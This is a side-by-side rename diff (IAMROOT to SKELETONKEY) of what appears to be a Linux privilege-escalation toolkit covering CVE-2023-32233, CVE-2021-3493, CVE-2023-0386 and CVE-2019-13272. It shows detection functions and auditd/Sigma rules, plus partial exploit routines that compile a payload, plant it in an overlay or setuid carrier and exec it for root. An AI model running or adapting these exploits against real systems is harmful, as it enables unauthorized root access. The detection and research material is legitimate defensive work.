"# nft scripts rarely DELSET an anonymous set they just created;\n" "# nft scripts rarely DELSET an anonymous set they just created;\n"
"# tune per env for firewalld/podman noise.\n" "# tune per env for firewalld/podman noise.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n" "-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n" "-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n" "# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n" "-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n" "# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n" "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
"# Canonical post-exploit primitives:\n" "# Canonical post-exploit primitives:\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n"; "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
static const char nft_set_uaf_sigma[] = static const char nft_set_uaf_sigma[] =
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n" "title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
"id: 23233e7c-iamroot-nft-set-uaf\n" "id: 23233e7c-skeletonkey-nft-set-uaf\n"
"status: experimental\n" "status: experimental\n"
"description: |\n" "description: |\n"
" Detects the canonical exploit shape for the nf_tables anonymous-set\n" " Detects the canonical exploit shape for the nf_tables anonymous-set\n"
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
"level: high\n" "level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n"; "tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
const struct iamroot_module nft_set_uaf_module = { const struct skeletonkey_module nft_set_uaf_module = {
.name = "nft_set_uaf", .name = "nft_set_uaf",
.cve = "CVE-2023-32233", .cve = "CVE-2023-32233",
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom", .summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_nft_set_uaf(void) void skeletonkey_register_nft_set_uaf(void)
{ {
iamroot_register(&nft_set_uaf_module); skeletonkey_register(&nft_set_uaf_module);
} }
@@ -0,0 +1,12 @@
/*
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
*/
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_set_uaf_module;
#endif
+1 -1
View File
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
Public PoC: vsh-style userns + overlayfs + xattr injection chain. Public PoC: vsh-style userns + overlayfs + xattr injection chain.
## IAMROOT role ## SKELETONKEY role
Detect parses `/etc/os-release` for `ID=ubuntu`, checks Detect parses `/etc/os-release` for `ID=ubuntu`, checks
`unprivileged_userns_clone` sysctl, and with `--active` performs the `unprivileged_userns_clone` sysctl, and with `--active` performs the
@@ -1,12 +0,0 @@
/*
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_IAMROOT_MODULES_H
#define OVERLAYFS_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* overlayfs_cve_2021_3493 IAMROOT module * overlayfs_cve_2021_3493 SKELETONKEY module
* *
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs * Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
* inside a user namespace, then set file capabilities on a file in * inside a user namespace, then set file capabilities on a file in
@@ -30,12 +30,12 @@
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific) * 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
* 2. Kernel version is below the Ubuntu fix threshold for that * 2. Kernel version is below the Ubuntu fix threshold for that
* release. We don't track per-release Ubuntu kernel version * release. We don't track per-release Ubuntu kernel version
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel * maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
* AND uname() version < 5.11 AND unprivileged_userns_clone=1 * AND uname() version < 5.11 AND unprivileged_userns_clone=1
* AND overlayfs mountable from userns (active probe). * AND overlayfs mountable from userns (active probe).
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2); if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
/* Build a minimal overlayfs in /tmp inside the child. */ /* Build a minimal overlayfs in /tmp inside the child. */
char base[] = "/tmp/iamroot-ovl-XXXXXX"; char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(base)) _exit(3); if (!mkdtemp(base)) _exit(3);
char low[512], up[512], wd[512], mp[512]; char low[512], up[512], wd[512], mp[512];
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
return WEXITSTATUS(status) == 0 ? 1 : 0; return WEXITSTATUS(status) == 0 ? 1 : 0;
} }
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n"); fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune /* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n"); fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* unprivileged_userns_clone gate */ /* unprivileged_userns_clone gate */
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → " fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
"unprivileged exploit unreachable\n"); "unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — " fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
"userns overlayfs mount succeeded → VULNERABLE\n"); "userns overlayfs mount succeeded → VULNERABLE\n");
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (probe == 0) { if (probe == 0) {
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: active probe denied mount — " fprintf(stderr, "[+] overlayfs: active probe denied mount — "
"likely patched / AppArmor block\n"); "likely patched / AppArmor block\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n"); fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — " fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
"re-run with --active to confirm\n", v.release); "re-run with --active to confirm\n", v.release);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical " fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
"affected range\n", v.release); "affected range\n", v.release);
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n"); fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* ---- Exploit (vsh-style) ---------------------------------------- /* ---- Exploit (vsh-style) ----------------------------------------
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
return false; return false;
} }
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
{ {
/* Re-confirm vulnerable. */ /* Re-confirm vulnerable. */
iamroot_result_t pre = overlayfs_detect(ctx); skeletonkey_result_t pre = overlayfs_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n"); fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
char workdir[] = "/tmp/iamroot-ovl-XXXXXX"; char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; } if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir); if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
char gcc[256]; char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) { if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n"); fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
rmdir(workdir); rmdir(workdir);
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
char src_path[1100], bin_path[1100]; char src_path[1100], bin_path[1100];
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir); snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; } if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1) if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) { != (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR; close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
} }
close(fd); close(fd);
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n", fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
upper_bin); upper_bin);
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fflush(NULL); fflush(NULL);
execl(upper_bin, upper_bin, (char *)NULL); execl(upper_bin, upper_bin, (char *)NULL);
@@ -443,7 +443,7 @@ fail_workdir:
unlink(src_path); unlink(bin_path); unlink(upper_bin); unlink(src_path); unlink(bin_path); unlink(upper_bin);
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower); rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
rmdir(workdir); rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
/* ----- Embedded detection rules ----- */ /* ----- Embedded detection rules ----- */
@@ -451,12 +451,12 @@ fail_workdir:
static const char overlayfs_auditd[] = static const char overlayfs_auditd[] =
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n" "# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n" "# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n" "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n" "-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"# Watch for security.capability xattr writes (the post-mount step)\n" "# Watch for security.capability xattr writes (the post-mount step)\n"
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n"; "-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
const struct iamroot_module overlayfs_module = { const struct skeletonkey_module overlayfs_module = {
.name = "overlayfs", .name = "overlayfs",
.cve = "CVE-2021-3493", .cve = "CVE-2021-3493",
.summary = "Ubuntu userns-overlayfs file-capability injection → host root", .summary = "Ubuntu userns-overlayfs file-capability injection → host root",
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_overlayfs(void) void skeletonkey_register_overlayfs(void)
{ {
iamroot_register(&overlayfs_module); skeletonkey_register(&overlayfs_module);
} }
@@ -0,0 +1,12 @@
/*
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
#define OVERLAYFS_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_module;
#endif
@@ -16,7 +16,7 @@ Public PoC + writeup:
Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023). Upstream fix: mainline 6.2-rc6 (commit `4f11ada10d0a`, Jan 2023).
Branch backports: 5.10.169 / 5.15.92 / 6.1.11. Branch backports: 5.10.169 / 5.15.92 / 6.1.11.
## IAMROOT role ## SKELETONKEY role
Distro-agnostic — no per-kernel offsets, no race. Places a setuid Distro-agnostic — no per-kernel offsets, no race. Places a setuid
binary in an overlay lower, mounts via fuse-overlayfs userns trick, binary in an overlay lower, mounts via fuse-overlayfs userns trick,
@@ -1,12 +0,0 @@
/*
* overlayfs_setuid_cve_2023_0386 — IAMROOT module registry hook
*/
#ifndef OVERLAYFS_SETUID_IAMROOT_MODULES_H
#define OVERLAYFS_SETUID_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module overlayfs_setuid_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* overlayfs_setuid_cve_2023_0386 IAMROOT module * overlayfs_setuid_cve_2023_0386 SKELETONKEY module
* *
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific * **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: when overlayfs * (their modified overlayfs). This one is upstream: when overlayfs
@@ -38,7 +38,7 @@
* for any distro running 5.11-6.2 kernels. Container-escape relevant. * for any distro running 5.11-6.2 kernels. Container-escape relevant.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -96,12 +96,12 @@ static const char *find_setuid_in_lower(void)
return NULL; return NULL;
} }
static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n"); fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug introduced in 5.11 when ovl copy-up was generalized. /* Bug introduced in 5.11 when ovl copy-up was generalized.
@@ -111,7 +111,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug " fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
"(introduced in 5.11)\n", v.release); "(introduced in 5.11)\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v); bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
@@ -119,7 +119,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release); fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
int userns_ok = can_unshare_userns_mount(); int userns_ok = can_unshare_userns_mount();
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n"); fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
const char *target = find_setuid_in_lower(); const char *target = find_setuid_in_lower();
@@ -142,13 +142,13 @@ static iamroot_result_t overlayfs_setuid_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n"); fprintf(stderr, "[?] overlayfs_setuid: no setuid binary found in standard paths\n");
} }
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target); fprintf(stderr, "[!] overlayfs_setuid: VULNERABLE — exploit target = %s\n", target);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
/* ---- Embedded payload + exploit ---------------------------------- */ /* ---- Embedded payload + exploit ---------------------------------- */
@@ -190,16 +190,16 @@ static bool write_file_str(const char *path, const char *content)
return ok; return ok;
} }
static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx) static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{ {
iamroot_result_t pre = overlayfs_setuid_detect(ctx); skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
if (pre != IAMROOT_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
if (geteuid() == 0) { if (geteuid() == 0) {
fprintf(stderr, "[i] overlayfs_setuid: already root\n"); fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return IAMROOT_OK; return SKELETONKEY_OK;
} }
/* Pick a setuid binary to use as the carrier — we'll find its /* Pick a setuid binary to use as the carrier — we'll find its
@@ -209,20 +209,20 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
const char *carrier = find_setuid_in_lower(); const char *carrier = find_setuid_in_lower();
if (!carrier) { if (!carrier) {
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n"); fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
/* For cleanliness, use a directory-level overlay. Find the carrier's /* For cleanliness, use a directory-level overlay. Find the carrier's
* dirname. (E.g., /usr/bin/su lower = /usr/bin/, file = su) */ * dirname. (E.g., /usr/bin/su lower = /usr/bin/, file = su) */
char carrier_dir[256], carrier_name[64]; char carrier_dir[256], carrier_name[64];
const char *slash = strrchr(carrier, '/'); const char *slash = strrchr(carrier, '/');
if (!slash) return IAMROOT_PRECOND_FAIL; if (!slash) return SKELETONKEY_PRECOND_FAIL;
size_t dir_len = slash - carrier; size_t dir_len = slash - carrier;
memcpy(carrier_dir, carrier, dir_len); memcpy(carrier_dir, carrier, dir_len);
carrier_dir[dir_len] = 0; carrier_dir[dir_len] = 0;
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1); snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
char workdir[] = "/tmp/iamroot-ovlsu-XXXXXX"; char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; } if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n", fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
workdir, carrier); workdir, carrier);
@@ -232,7 +232,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (!which_gcc(gcc, sizeof gcc)) { if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n"); fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
rmdir(workdir); rmdir(workdir);
return IAMROOT_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
/* Build the payload binary outside the overlay. */ /* Build the payload binary outside the overlay. */
@@ -348,7 +348,7 @@ static iamroot_result_t overlayfs_setuid_exploit(const struct iamroot_ctx *ctx)
if (ctx->no_shell) { if (ctx->no_shell) {
fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n", fprintf(stderr, "[+] overlayfs_setuid: --no-shell — file planted at %s\n",
upper_carrier); upper_carrier);
return IAMROOT_EXPLOIT_OK; return SKELETONKEY_EXPLOIT_OK;
} }
fflush(NULL); fflush(NULL);
execl(upper_carrier, upper_carrier, (char *)NULL); execl(upper_carrier, upper_carrier, (char *)NULL);
@@ -358,26 +358,26 @@ fail:
unlink(src_path); unlink(bin_path); unlink(src_path); unlink(bin_path);
rmdir(upper); rmdir(work); rmdir(merged); rmdir(upper); rmdir(work); rmdir(merged);
rmdir(workdir); rmdir(workdir);
return IAMROOT_EXPLOIT_FAIL; return SKELETONKEY_EXPLOIT_FAIL;
} }
static iamroot_result_t overlayfs_setuid_cleanup(const struct iamroot_ctx *ctx) static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
{ {
(void)ctx; (void)ctx;
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/iamroot-ovlsu-*\n"); fprintf(stderr, "[*] overlayfs_setuid: removing /tmp/skeletonkey-ovlsu-*\n");
} }
if (system("rm -rf /tmp/iamroot-ovlsu-* 2>/dev/null") != 0) { /* harmless */ } if (system("rm -rf /tmp/skeletonkey-ovlsu-* 2>/dev/null") != 0) { /* harmless */ }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
static const char overlayfs_setuid_auditd[] = static const char overlayfs_setuid_auditd[] =
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n" "# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
"# Same surface as CVE-2021-3493; share the iamroot-overlayfs key.\n" "# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n" "-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k iamroot-overlayfs-chown\n"; "-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
const struct iamroot_module overlayfs_setuid_module = { const struct skeletonkey_module overlayfs_setuid_module = {
.name = "overlayfs_setuid", .name = "overlayfs_setuid",
.cve = "CVE-2023-0386", .cve = "CVE-2023-0386",
.summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier", .summary = "overlayfs copy-up preserves setuid bit → host root via setuid carrier",
@@ -393,7 +393,7 @@ const struct iamroot_module overlayfs_setuid_module = {
.detect_falco = NULL, .detect_falco = NULL,
}; };
void iamroot_register_overlayfs_setuid(void) void skeletonkey_register_overlayfs_setuid(void)
{ {
iamroot_register(&overlayfs_setuid_module); skeletonkey_register(&overlayfs_setuid_module);
} }
@@ -0,0 +1,12 @@
/*
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module registry hook
*/
#ifndef OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#define OVERLAYFS_SETUID_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module overlayfs_setuid_module;
#endif
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## IAMROOT role ## SKELETONKEY role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
@@ -1,12 +0,0 @@
/*
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
*/
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
#define PTRACE_TRACEME_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module ptrace_traceme_module;
#endif
@@ -1,5 +1,5 @@
/* /*
* ptrace_traceme_cve_2019_13272 IAMROOT module * ptrace_traceme_cve_2019_13272 SKELETONKEY module
* *
* PTRACE_TRACEME on a parent that subsequently execve's a setuid * PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the * binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
* vulnerable. * vulnerable.
*/ */
#include "iamroot_modules.h" #include "skeletonkey_modules.h"
#include "../../core/registry.h" #include "../../core/registry.h"
#include "../../core/kernel_range.h" #include "../../core/kernel_range.h"
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
sizeof(ptrace_traceme_patched_branches[0]), sizeof(ptrace_traceme_patched_branches[0]),
}; };
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx) static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{ {
struct kernel_version v; struct kernel_version v;
if (!kernel_version_current(&v)) { if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n"); fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
return IAMROOT_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
/* Bug existed since ptrace's inception (early 2.x); anything /* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n", fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release); v.release);
} }
return IAMROOT_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v); bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) { if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release); fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
} }
return IAMROOT_OK; return SKELETONKEY_OK;
} }
if (!ctx->json) { if (!ctx->json) {
